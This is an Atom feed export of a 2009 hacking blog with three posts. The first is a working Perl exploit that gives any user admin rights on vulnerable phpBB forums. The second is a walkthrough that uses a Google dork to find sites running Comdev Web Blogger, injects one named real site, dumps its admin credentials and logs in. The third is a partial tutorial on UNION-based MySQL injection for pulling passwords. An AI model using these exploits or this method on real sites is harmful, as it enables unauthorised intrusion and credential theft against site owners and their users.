<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" gd:etag="W/&quot;A08DR3syeip7ImA9WxNVEUo.&quot;"><id>tag:blogger.com,1999:blog-7621057227922271974</id><updated>2009-10-21T19:51:16.592-07:00</updated><title>FiX PC Errors</title><subtitle type="html" /><link rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" href="http://chams-blog.blogspot.com/feeds/posts/default" /><link rel="alternate" type="text/html" href="http://chams-blog.blogspot.com/" /><link rel="hub" href="http://pubsubhubbub.appspot.com/" /><link rel="next" type="application/atom+xml" href="http://www.blogger.com/feeds/7621057227922271974/posts/default?start-index=26&amp;max-results=25&amp;redirect=false&amp;v=2" /><author><name>ALLAL</name><uri>http://www.blogger.com/profile/06968092005535026327</uri><email>chamsalah@gmail.com</email></author><generator version="7.00" uri="http://www.blogger.com">Blogger</generator><openSearch:totalResults>81</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com" /><link rel="self" href="http://feeds.feedburner.com/feedburner/cahY" type="application/atom+xml" /><entry gd:etag="W/&quot;AkAERno4eCp7ImA9WxJQFUU.&quot;"><id>tag:blogger.com,1999:blog-7621057227922271974.post-2880086979038353639</id><published>2009-05-28T15:45:00.000-07:00</published><updated>2009-05-29T02:18:27.430-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-05-29T02:18:27.430-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Exploits" /><title>PHPBB Vuln part-1</title><content type="html">&lt;span class="fullpost"&gt;&lt;br /&gt;Code:&lt;br /&gt;&lt;br /&gt;#!/usr/bin/perl -w&lt;br /&gt;&lt;br /&gt;# phpBB &lt;=2.0.12 session autologin exploit # This script uses the vulerability in autologinid variable # More: http://www.phpbb.com/phpBB/viewtopic.php?f=14&amp;amp;t=267563 # # Just gives an user on vulnerable forum administrator rights. # You should register the user before using this ;-)  #   by Kutas, kutas@mail15.com #P.S. I dont know who had made an original exploit, so I cannot place no (c) here... # but greets goes to Paisterist who made an exploit for Firefox cookies...  if (@ARGV &lt; host  =" $ARGV[0];" path  =" $ARGV[1];" user  =" $ARGV[2];" proxy =" $ARGV[3];" request = "http://" browser =" LWP::UserAgent-"&gt;new ();&lt;br /&gt;my $cookie_jar = HTTP::Cookies-&gt;new( );&lt;br /&gt;$browser-&gt;cookie_jar( $cookie_jar );&lt;br /&gt;$cookie_jar-&gt;set_cookie( "0","phpbb2mysql_data", "a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D", "/",$host,,,,,);&lt;br /&gt;if ( defined $proxy) {&lt;br /&gt;$proxy =~ s/(http:\/\/)//eg;&lt;br /&gt;$browser-&gt;proxy("http" , "http://$proxy");&lt;br /&gt;}&lt;br /&gt;print "++++++++++++++++++++++++++++++++++++\n";&lt;br /&gt;print "Trying to connect to $host$path"; if ($proxy) {print "using proxy $proxy";}&lt;br /&gt;&lt;br /&gt;my $response = $browser-&gt;get($request);&lt;br /&gt;die "Error: ", $response-&gt;status_line&lt;br /&gt;unless $response-&gt;is_success;&lt;br /&gt;&lt;br /&gt;if($response-&gt;content =~ m/phpbbprivmsg/) {&lt;br /&gt;print "\n   Forum is vulnerable!!!\n";&lt;br /&gt;} else {&lt;br /&gt;print "Sorry... Not vulnerable"; exit();}&lt;br /&gt;&lt;br /&gt;print "+++++++++++++++++++++++++++++\nTrying to get the user:$user ID...\n";&lt;br /&gt;$response-&gt;content =~ /sid=([\w\d]*)/;&lt;br /&gt;my $sid = $1;&lt;br /&gt;&lt;br /&gt;$request .= "admin\/admin_ug_auth.php?mode=user&amp;amp;sid=$sid";&lt;br /&gt;$response = $browser-&gt;post(&lt;br /&gt;$request,&lt;br /&gt;[&lt;br /&gt;'username'  =&gt; $user,&lt;br /&gt;'mode' =&gt; 'edit',&lt;br /&gt;'mode' =&gt; 'user',&lt;br /&gt;'submituser' =&gt; 'Look+up+User'&lt;br /&gt;],&lt;br /&gt;);&lt;br /&gt;die "Error: ", $response-&gt;status_line&lt;br /&gt;unless $response-&gt;is_success;&lt;br /&gt;&lt;br /&gt;if ($response-&gt;content =~ /name="u" value="([\d]*)"/)&lt;br /&gt;{print "   Done... ID=$1\n++++++++++++++++++++++++++++++\n";}&lt;br /&gt;else {print "No user $user found..."; exit(); }&lt;br /&gt;my $uid = $1;&lt;br /&gt;print "Trying to give user:$user admin status...\n";&lt;br /&gt;&lt;br /&gt;$response = $browser-&gt;post(&lt;br /&gt;$request,&lt;br /&gt;[&lt;br /&gt;'userlevel'  =&gt; 'admin',&lt;br /&gt;'mode' =&gt; 'user',&lt;br /&gt;'adv'=&gt;'',&lt;br /&gt;'u'=&gt; $uid,&lt;br /&gt;'submit'=&gt; 'Submit'&lt;br /&gt;],&lt;br /&gt;);&lt;br /&gt;die "Error: ", $response-&gt;status_line&lt;br /&gt;unless $response-&gt;is_success;&lt;br /&gt;print "   Well done!!! $user should now have an admin status..\n++++++++++++++++++++++++++++";&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;a href="http://www.chams-blog.blogspot.com"&gt;The Sun Rises In The East&lt;/a&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7621057227922271974-2880086979038353639?l=chams-blog.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/bLaG/~4/nsIOrNaI9OM" height="1" width="1"/&gt;&lt;img src="http://feeds.feedburner.com/~r/feedburner/cahY/~4/_Fr5jOuTvnc" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://chams-blog.blogspot.com/feeds/2880086979038353639/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://chams-blog.blogspot.com/2009/05/phpbb-vuln-part-1.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7621057227922271974/posts/default/2880086979038353639?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7621057227922271974/posts/default/2880086979038353639?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/feedburner/cahY/~3/_Fr5jOuTvnc/phpbb-vuln-part-1.html" title="PHPBB Vuln part-1" /><author><name>ALLAL</name><uri>http://www.blogger.com/profile/06968092005535026327</uri><email>chamsalah@gmail.com</email><gd:extendedProperty name="OpenSocialUserId" value="15302319214131568225" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://chams-blog.blogspot.com/2009/05/phpbb-vuln-part-1.html</feedburner:origLink><feedburner:origLink>http://feedproxy.google.com/~r/blogspot/bLaG/~3/nsIOrNaI9OM/phpbb-vuln-part-1.html</feedburner:origLink></entry><entry gd:etag="W/&quot;AkAMQn47eSp7ImA9WxJQFU8.&quot;"><id>tag:blogger.com,1999:blog-7621057227922271974.post-7269744707645209108</id><published>2009-05-28T09:21:00.000-07:00</published><updated>2009-05-28T09:39:43.001-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-05-28T09:39:43.001-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Exploits" /><title /><content type="html">Today we are going to learn the web applications part of milw0rm.com&lt;br /&gt;&lt;br /&gt;so&lt;br /&gt;&lt;br /&gt;lets go to  &lt;a href="http://www.milw0rm.com/" target="_blank"&gt;Milw0rm&lt;/a&gt; shall we&lt;br /&gt;&lt;br /&gt;Now go to web applications&lt;br /&gt;&lt;br /&gt;and you see a whole lot of stuff right were gonna look for sql injection vulnerability.&lt;br /&gt;&lt;br /&gt;I found this&lt;br /&gt;&lt;br /&gt;&lt;a href="http://milw0rm.com/exploits/6079" target="_blank"&gt;right here&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;and it show  you the following&lt;br /&gt;&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt; &lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Code:&lt;/div&gt; &lt;pre class="alt2" dir="ltr" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 640px; height: 498px; text-align: left;"&gt; &lt;div align="left"&gt;&lt;br /&gt;____________________   ___ ___ ________&lt;br /&gt;\_   _____/\_   ___ \ /   |   \\_____  \&lt;br /&gt;|    __)_ /    \  \//    ~    \/   |   \&lt;br /&gt;|        \\     \___\    Y    /    |    \&lt;br /&gt;/_______  / \______  /\___|_  /\_______  /&lt;br /&gt;     \/         \/       \/         \/&lt;br /&gt;&lt;br /&gt;                                     .OR.ID&lt;br /&gt;ECHO_ADV_100$2008&lt;br /&gt;&lt;br /&gt;-----------------------------------------------------------------------------------------&lt;br /&gt;[ECHO_ADV_100$2008] Comdev Web Blogger &lt;= 4.1.3 (arcmonth) Sql Injection Vulnerability -----------------------------------------------------------------------------------------  Author       : M.Hasran Addahroni Date         : July, 14 th 2008 Location     : Jakarta, Indonesia Web          : &lt;a href="http://e-rdc.org/v1/news.php?readmore=102" target="_blank"&gt;http://e-rdc.org/v1/news.php?readmore=102&lt;/a&gt;&lt;br /&gt;Critical Lvl : Medium&lt;br /&gt;Impact       : System access&lt;br /&gt;Where        : From Remote&lt;br /&gt;---------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Affected software description:&lt;br /&gt;~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;br /&gt;&lt;br /&gt;Application : Comdev Web Blogger&lt;br /&gt;version     : &lt;= 4.1.3 Vendor      : &lt;a href="http://www.comdevweb.com/blogger.php" target="_blank"&gt;http://www.comdevweb.com/blogger.php&lt;/a&gt;&lt;br /&gt;Description :&lt;br /&gt;&lt;br /&gt;Comdev Web Blogger is your voice and also allows others to give you feedback on a post-by-post basis.&lt;br /&gt;Site members can now create, manage, upload photos to their own blogs.FEATURES: Non Template-Based Gives You Flexibility to Fit&lt;br /&gt;the Web Blogger to Your Web Design Page â€¢ Multiple user accounts to create &amp;amp; invite friends to their own blogs â€¢ Hot Blogs,&lt;br /&gt;Latest Blogs â€¢ RSS News Feeds â€¢ Blogs Categorisation â€¢ Hot Blogs &amp;amp; Latest Blogs â€¢ Search Blogs â€¢ Mini Calendar â€¢ Monthly Archiveâ€¢&lt;br /&gt;Links to Friends' Blog â€¢ Public or Friends View Only Blogs â€¢ Set Post Comments Permission â€¢ Friends Login â€¢ Forms Submission with&lt;br /&gt;CAPTCHA Image Verification â€¢ WYSIWYG Editor for Blog &amp;amp; Comment â€¢ Notify Friends of New Blog â€¢ Set View &amp;amp; Post Comment Permissions â€¢&lt;br /&gt;sSet Date &amp;amp; Time Format â€¢ Local Time Zone â€¢ Pre-defined Front-end CSS â€¢ Personalized Emails &amp;amp; Auto-Responders â€¢&lt;br /&gt;Installation Support available&lt;br /&gt;&lt;br /&gt;---------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Vulnerability:&lt;br /&gt;~~~~~~~~~~~~~&lt;br /&gt;&lt;br /&gt;Input passed to the "arcmonth" parameter in blog's page is not properly verified before being used&lt;br /&gt;in an sql query.&lt;br /&gt;This can be exploited thru the browser to manipulate SQL queries and pull the username and password&lt;br /&gt;from admin and users in plain text. Successful exploitation requires that "magic_quotes" is off.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;acronym title="Proof of Concept"&gt;Poc&lt;/acronym&gt;/Exploit:&lt;br /&gt;~~~~~~~~~&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.example.com/" target="_blank"&gt;http://www.example.com/&lt;/a&gt;[path]/[blog_page_name].php?domain=&amp;amp;arcyear=2007&amp;amp;arcmonth=-1%20union%20select%201,concat(username,0x3a,passwo rd),3,4,5,6%20from%20sys_user--&lt;br /&gt;&lt;a href="http://www.example.com/" target="_blank"&gt;http://www.example.com/&lt;/a&gt;[path]/[blog_page_name].php?domain=&amp;amp;arcyear=2007&amp;amp;arcmonth=-11%20union%20select%201,username,3,password,5,6%20 from%20sys_user/*&lt;br /&gt;&lt;br /&gt;Admin Login at &lt;a href="http://www.example.com/" target="_blank"&gt;http://www.example.com/&lt;/a&gt;[PATH]/oneadmin/&lt;br /&gt;&lt;br /&gt;Dork:&lt;br /&gt;~~~~&lt;br /&gt;Google : "Powered by Comdev Web Blogger" or allinurl:".php?domain= arcyear=2007 arcmonth"&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Solution:&lt;br /&gt;~~~~~~&lt;br /&gt;&lt;br /&gt;- Edit the source code to ensure that input is properly verified.&lt;br /&gt;- Turn on magic_quotes in php.ini&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Timeline:&lt;br /&gt;~~~~~~~~&lt;br /&gt;&lt;br /&gt;- 11 - 07 - 2008 bug found&lt;br /&gt;- 11 - 07 - 2008 vendor contacted&lt;br /&gt;- 14 - 07 - 2008 advisory released&lt;br /&gt;---------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Shoutz:&lt;br /&gt;~~~~&lt;br /&gt;~ ping - my dearest wife "happy birthday darling", zautha - my beloved son&lt;br /&gt;~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,pushm0v,az001,negative,&lt;br /&gt;the_hydra,neng chika, str0ke&lt;br /&gt;~ everybody [at] SCAN-NUSANTARA and SCAN-ASSOCIATES&lt;br /&gt;~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,sakitjiwa,x16,an0maly,cyb  ertank,&lt;br /&gt;super_temon, b120t0,inggar,fachri,adi,rahmat,indra,cyb3rh3b&lt;br /&gt;~ dr188le,SinChan,h4ntu,cow_1seng,poniman_coy,paman_  gembul,ketut,rizal,cR4SH3R,&lt;br /&gt;kuntua, stev_manado,nofry,k1tk4t,0pt1c&lt;br /&gt;~ &lt;a href="mailto:newbie_hacker@yahoogroups.com"&gt;newbie_hacker@yahoogroups.com&lt;/a&gt;&lt;br /&gt;~ #aikmel #e-c-h-o @irc.dal.net&lt;br /&gt;&lt;br /&gt;---------------------------------------------------------------------------&lt;br /&gt;Contact:&lt;br /&gt;~~~~~&lt;br /&gt;&lt;br /&gt;K-159 || echo|staff || eufrato[at]gmail[dot]com&lt;br /&gt;Homepage: &lt;a href="http://www.e-rdc.org/" target="_blank"&gt;http://www.e-rdc.org/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;-------------------------------- [ EOF ] ----------------------------------&lt;br /&gt;&lt;br /&gt;# milw0rm.com [2008-07-15]&lt;/div&gt; &lt;/pre&gt;&lt;/div&gt;now look at&lt;br /&gt;&lt;div align="left"&gt;&lt;div style="margin: 5px 20px 20px;"&gt; &lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Code:&lt;/div&gt; &lt;pre class="alt2" dir="ltr" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 640px; height: 50px; text-align: left;"&gt;&lt;a href="http://www.example.com/" target="_blank"&gt;http://www.example.com/&lt;/a&gt;[path]/[blog_page_name].php?domain=&amp;amp;arcyear=2007&amp;amp;arcmonth=-1%20union%20select%201,concat(username,0x3a,passwo rd),3,4,5,6%20from%20sys_user--&lt;br /&gt;&lt;a href="http://www.example.com/" target="_blank"&gt;http://www.example.com/&lt;/a&gt;[path]/[blog_page_name].php?domain=&amp;amp;arcyear=2007&amp;amp;arcmonth=-11%20union%20select%201,username,3,password,5,6%20 from%20sys_user/*&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;This is the sql injection into the site&lt;br /&gt;&lt;br /&gt;there are 2 separate ones and under that is the DORK:&lt;br /&gt;&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt; &lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Code:&lt;/div&gt; &lt;pre class="alt2" dir="ltr" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 640px; height: 34px; text-align: left;"&gt; &lt;div align="left"&gt;Powered by Comdev Web Blogger" or allinurl:".php?domain= arcyear=2007 arcmonth&lt;/div&gt; &lt;/pre&gt;&lt;/div&gt;The dork is what you are going to type in google or whatever search engine you want&lt;br /&gt;&lt;br /&gt;and the  search engine will give you a list of websites that power by that&lt;br /&gt;&lt;br /&gt;so go into your search engine and paste that&lt;br /&gt;&lt;br /&gt;or type&lt;br /&gt;&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt; &lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Code:&lt;/div&gt; &lt;pre class="alt2" dir="ltr" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 640px; height: 34px; text-align: left;"&gt;allinurl:".php?domain= arcyear=2007 arcmonth&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;so you see a whole bunch of websites right and your looking for the dork&lt;br /&gt;&lt;br /&gt;so the website we are going to use is listed below&lt;br /&gt;[IMG]file:///C:/DOCUME%7E1/gadow/LOCALS%7E1/Temp/moz-screenshot.jpg[/IMG]&lt;div style="margin: 5px 20px 20px;"&gt; &lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Code:&lt;/div&gt; &lt;pre class="alt2" dir="ltr" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 640px; height: 34px; text-align: left;"&gt;[IMG]file:///C:/DOCUME%7E1/gadow/LOCALS%7E1/Temp/moz-screenshot-1.jpg[/IMG]&lt;a href="http://uhrionline.org/blog.php?domain=&amp;amp;arcyear=2007&amp;amp;arcmonth=10" target="_blank"&gt;http://uhrionline.org/blog.php?domai...07&amp;amp;arcmonth=10&lt;/a&gt; &lt;/pre&gt;&lt;/div&gt;so you got the sites that google provided  so look for any site that has the dork and click it&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;now once you are at that site get the sql injection code and paste it in the url  so it will look like this&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt; &lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Code:&lt;/div&gt; &lt;pre class="alt2" dir="ltr" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 640px; height: 34px; text-align: left;"&gt;&lt;a href="http://uhrionline.org/blog.php?domain=&amp;amp;arcyear=2007&amp;amp;arcmonth=-1%20union%20select%201,concat%28username,0x3a,password%29,3,4,5,6%20from%20sys_user--" target="_blank"&gt;http://uhrionline.org/blog.php?domain=&amp;amp;arcyear=2007&amp;amp;arcmonth=-1%20union%20select%201,concat(username,0x3a,password),3,4,5,6%20from%20sys_user--&lt;/a&gt; &lt;/pre&gt;&lt;/div&gt;then hit enter&lt;br /&gt;&lt;br /&gt;u see the admin username and password along with other users as well that password is encrypted so user john the ripper or cain and abel to decrypt it.. in this case it is unencrypted and there is NO PW (WTF LOL)&lt;br /&gt;&lt;br /&gt;and then you will have to find the admin login page i would 1. go through every link right click view source and look for a admin login page if its not there get the cracked version of &lt;a href="http://www.acunetix.com/" target="_blank"&gt;acunetix&lt;/a&gt; and scan that website and it will show you the admin page&lt;br /&gt;&lt;br /&gt;then you can just login and do whatever you want&lt;br /&gt;&lt;br /&gt;now what i did was sql inject the site and it gave me the following&lt;br /&gt;&lt;br /&gt;admin::&lt;br /&gt;&lt;br /&gt;anyways Milw0rm said look for /oneadmin&lt;br /&gt;&lt;br /&gt;well oneadmin does not exist..&lt;br /&gt;&lt;br /&gt;so then we go through every link looking at the source code looking for a login page didn't find one my last step was to scan the site with all of its links&lt;br /&gt;&lt;br /&gt;After scanning I came up with&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt; &lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Code:&lt;/div&gt; &lt;pre class="alt2" dir="ltr" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 640px; height: 34px; text-align: left;"&gt;http://www.uhrionline.org/oadmin/index.php?&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;oh they think they are sneaky bastards&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;so now we log in :P&lt;br /&gt;&lt;br /&gt;with the un admin and pw is blank&lt;br /&gt;and get this&lt;div class="blogger-post-footer"&gt;&lt;a href="http://www.chams-blog.blogspot.com"&gt;The Sun Rises In The East&lt;/a&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7621057227922271974-7269744707645209108?l=chams-blog.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/bLaG/~4/S8p4WkIhPz8" height="1" width="1"/&gt;&lt;img src="http://feeds.feedburner.com/~r/feedburner/cahY/~4/CF2oSeXgSvY" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://chams-blog.blogspot.com/feeds/7269744707645209108/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://chams-blog.blogspot.com/2009/05/how-to-use-milw0rmcom.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7621057227922271974/posts/default/7269744707645209108?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7621057227922271974/posts/default/7269744707645209108?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/feedburner/cahY/~3/CF2oSeXgSvY/how-to-use-milw0rmcom.html" title="" /><author><name>ALLAL</name><uri>http://www.blogger.com/profile/06968092005535026327</uri><email>chamsalah@gmail.com</email><gd:extendedProperty name="OpenSocialUserId" value="15302319214131568225" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://chams-blog.blogspot.com/2009/05/how-to-use-milw0rmcom.html</feedburner:origLink><feedburner:origLink>http://feedproxy.google.com/~r/blogspot/bLaG/~3/S8p4WkIhPz8/how-to-use-milw0rmcom.html</feedburner:origLink></entry><entry gd:etag="W/&quot;AkIGRXs5cCp7ImA9WxJQFE4.&quot;"><id>tag:blogger.com,1999:blog-7621057227922271974.post-7353384028885644018</id><published>2009-05-27T08:17:00.000-07:00</published><updated>2009-05-27T08:35:24.528-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-05-27T08:35:24.528-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Web_Vul" /><title>SQL Injection part - 1</title><content type="html">&lt;span class="fullpost"&gt; &lt;br /&gt;&lt;br /&gt;SQL Injection (MySQL)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;In this tutorial i will describe how sql injection works and how to&lt;br /&gt;use it to get some useful information.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;First of all: What is SQL injection?&lt;br /&gt;&lt;br /&gt;It's one of the most common vulnerability in web applications today.&lt;br /&gt;It allows attacker to execute database query in url and gain access&lt;br /&gt;to some confidential information etc...(in shortly).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;1.SQL Injection classic &lt;br /&gt;&lt;br /&gt;2.Blind SQL Injection &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So let's start with some action &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;1). Check for vulnerability&lt;br /&gt;&lt;br /&gt;Let's say that we have some site like this&lt;br /&gt;&lt;br /&gt;http://www.site.com/news.php?id=5&lt;br /&gt;&lt;br /&gt;Now to test if is vulrnable we add to the end of url ' (quote),&lt;br /&gt;&lt;br /&gt;and that would be http://www.site.com/news.php?id=5'&lt;br /&gt;&lt;br /&gt;so if we get some error like&lt;br /&gt;"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..."&lt;br /&gt;or something similar&lt;br /&gt;&lt;br /&gt;that means is vulrnable to sql injection :)&lt;br /&gt;&lt;br /&gt;2). Find the number of columns&lt;br /&gt;&lt;br /&gt;To find number of columns we use statement ORDER BY (tells database how to order the result)&lt;br /&gt;&lt;br /&gt;so how to use it? Well just incrementing the number until we get an error.&lt;br /&gt;&lt;br /&gt;http://www.site.com/news.php?id=5 order by 1/* &lt;-- no error&lt;br /&gt;&lt;br /&gt;http://www.site.com/news.php?id=5 order by 2/* &lt;-- no error&lt;br /&gt;&lt;br /&gt;http://www.site.com/news.php?id=5 order by 3/* &lt;-- no error&lt;br /&gt;&lt;br /&gt;http://www.site.com/news.php?id=5 order by 4/* &lt;-- error (we get message like this Unknown column '4' in 'order clause' or something like that)&lt;br /&gt;&lt;br /&gt;that means that the it has 3 columns, cause we got an error on 4.&lt;br /&gt;&lt;br /&gt;3). Check for UNION function&lt;br /&gt;&lt;br /&gt;With union we can select more data in one sql statement.&lt;br /&gt;&lt;br /&gt;so we have&lt;br /&gt;&lt;br /&gt;http://www.site.com/news.php?id=5 union all select 1,2,3/* (we already found that number of columns are 3 in section 2). )&lt;br /&gt;&lt;br /&gt;if we see some numbers on screen, i.e 1 or 2 or 3 then the UNION works :)&lt;br /&gt;&lt;br /&gt;4). Check for MySQL version&lt;br /&gt;&lt;br /&gt;http://www.site.com/news.php?id=5 union all select 1,2,3/* NOTE: if /* not working or you get some error, then try --&lt;br /&gt;it's a comment and it's important for our query to work properly.&lt;br /&gt;&lt;br /&gt;let say that we have number 2 on the screen, now to check for version&lt;br /&gt;we replace the number 2 with @@version or version() and get someting like 4.1.33-log or 5.0.45 or similar.&lt;br /&gt;&lt;br /&gt;it should look like this http://www.site.com/news.php?id=5 union all select 1,@@version,3/*&lt;br /&gt;&lt;br /&gt;if you get an error "union + illegal mix of collations (IMPLICIT + COERCIBLE) ..."&lt;br /&gt;&lt;br /&gt;i didn't see any paper covering this problem, so i must write it :)&lt;br /&gt;&lt;br /&gt;what we need is convert() function&lt;br /&gt;&lt;br /&gt;i.e.&lt;br /&gt;&lt;br /&gt;http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/*&lt;br /&gt;&lt;br /&gt;or with hex() and unhex()&lt;br /&gt;&lt;br /&gt;i.e.&lt;br /&gt;&lt;br /&gt;http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*&lt;br /&gt;&lt;br /&gt;and you will get MySQL version :D&lt;br /&gt;&lt;br /&gt;5). Getting table and column name&lt;br /&gt;&lt;br /&gt;well if the MySQL version is &lt; 5 (i.e 4.1.33, 4.1.12...) &lt;--- later i will describe for MySQL &gt; 5 version.&lt;br /&gt;we must guess table and column name in most cases.&lt;br /&gt;&lt;br /&gt;common table names are: user/s, admin/s, member/s ...&lt;br /&gt;&lt;br /&gt;common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc...&lt;br /&gt;&lt;br /&gt;i.e would be&lt;br /&gt;&lt;br /&gt;http://www.site.com/news.php?id=5 union all select 1,2,3 from admin/* (we see number 2 on the screen like before, and that's good :D)&lt;br /&gt;&lt;br /&gt;we know that table admin exists...&lt;br /&gt;&lt;br /&gt;now to check column names.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/* (if you get an error, then try the other column name)&lt;br /&gt;&lt;br /&gt;we get username displayed on screen, example would be admin, or superadmin etc...&lt;br /&gt;&lt;br /&gt;now to check if column password exists&lt;br /&gt;&lt;br /&gt;http://www.site.com/news.php?id=5 union all select 1,password,3 from admin/* (if you get an error, then try the other column name)&lt;br /&gt;&lt;br /&gt;we seen password on the screen in hash or plain-text, it depends of how the database is set up :)&lt;br /&gt;&lt;br /&gt;i.e md5 hash, mysql hash, sha1...&lt;br /&gt;&lt;br /&gt;now we must complete query to look nice :)&lt;br /&gt;&lt;br /&gt;for that we can use concat() function (it joins strings)&lt;br /&gt;&lt;br /&gt;i.e&lt;br /&gt;&lt;br /&gt;http://www.site.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/*&lt;br /&gt;&lt;br /&gt;Note that i put 0x3a, its hex value for : (so 0x3a is hex value for colon)&lt;br /&gt;&lt;br /&gt;(there is another way for that, char(58), ascii value for : )&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;http://www.site.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*&lt;br /&gt;&lt;br /&gt;now we get dislayed username:password on screen, i.e admin:admin or admin:somehash&lt;br /&gt;&lt;br /&gt;when you have this, you can login like admin or some superuser :D&lt;br /&gt;&lt;br /&gt;if can't guess the right table name, you can always try mysql.user (default)&lt;br /&gt;&lt;br /&gt;it has user i password columns, so example would be&lt;br /&gt;&lt;br /&gt;http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/*&lt;br /&gt;&lt;br /&gt;6). MySQL 5&lt;br /&gt;&lt;br /&gt;Like i said before i'm gonna explain how to get table and column names&lt;br /&gt;in MySQL &gt; 5.&lt;br /&gt;&lt;br /&gt;For this we need information_schema. It holds all tables and columns in database.&lt;br /&gt;&lt;br /&gt;to get tables we use table_name and information_schema.tables.&lt;br /&gt;&lt;br /&gt;i.e&lt;br /&gt;&lt;br /&gt;http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*&lt;br /&gt;&lt;br /&gt;here we replace the our number 2 with table_name to get the first table from information_schema.tables&lt;br /&gt;&lt;br /&gt;displayed on the screen. Now we must add LIMIT to the end of query to list out all tables.&lt;br /&gt;&lt;br /&gt;i.e&lt;br /&gt;&lt;br /&gt;http://www.site.com/news.php?id=5 union all select 